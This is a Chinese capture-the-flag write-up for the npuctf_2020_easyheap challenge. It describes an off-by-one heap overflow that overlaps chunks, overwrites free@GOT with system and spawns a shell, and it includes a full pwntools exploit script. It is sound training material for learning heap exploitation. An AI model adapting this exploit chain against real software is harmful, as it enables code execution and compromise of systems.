知识点
通过堆块的错位来改变下个堆块的size位置,从可以改写指定的位置的函数
题目
npuctf_2020_easyheap
参考
64位 可以改写plt表
点开就是菜单
这个存在溢出漏洞
解法
先创造两个chunk
通过改写chunk0(第一个)溢出
通过溢出多一个字节(0x41)使得下面两个堆块整合到一起
接着free chunk1(第二个chunk)
再重新申请一个大小为0x38的块
可以看到之前的0x41申请回来了
这个发的是’a‘
利用上个改写41溢出导致下个堆块记录输入内容的地址发生变化
这里把那个地址改成了free函数
泄露libc
通过题目里面的show函数泄露free处的libc
就是这个堆块的返回地址已经变成你指定的位置了,无论是输出还是改写就容易了
最后找到system 将free函数改成system
加上前面写入的/bin/sh\x00
EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74
| from pwn import * p = process("./pwn") #p = remote("node5.buuoj.cn",29347) context.log_level = 'debug' gdb.attach(p) elf = ELF("./pwn") libc = ELF("./libc-2.27.so") atoi_got = elf.got['atoi'] free_got = elf.got['free']
def cmd(choice): p.recvuntil("Your choice :") p.sendline(str(choice))
def create(size,content): cmd(1) p.recvuntil("only) :") p.sendline(str(size)) p.recvuntil("Content:") p.sendline(content)
def edit(idx,content): cmd(2) p.recvuntil("Index :") p.sendline(str(idx)) p.recvuntil("Content:") p.sendline(content)
def show(idx): cmd(3) p.recvuntil("Index :") p.sendline(str(idx))
def delete(idx): cmd(4) p.recvuntil("Index :") p.sendline(str(idx))
create(0x18,"aaaa")
create(0x18,"aaaa")
payload =b'/bin/sh\x00' payload += p64(0) * 2 payload += p64(0x41)
edit(0,payload) delete(1) pause() #create(0x38,b'a')
payload =b'a' * 0x20 + p64(0x38) + p64(free_got) create(0x38,payload) show(1) free_addr = u64(p.recvuntil("\x7f")[-6:]+b'\x00'*2)
log.success(hex(free_addr)) libc_base = free_addr - libc.sym['free'] system = libc_base + libc.sym['system'] log.success(hex(libc_base)) log.success(hex(system))
edit(1,p64(system)) # gdb.attach(p) # pause() delete(0)
p.interactive()
|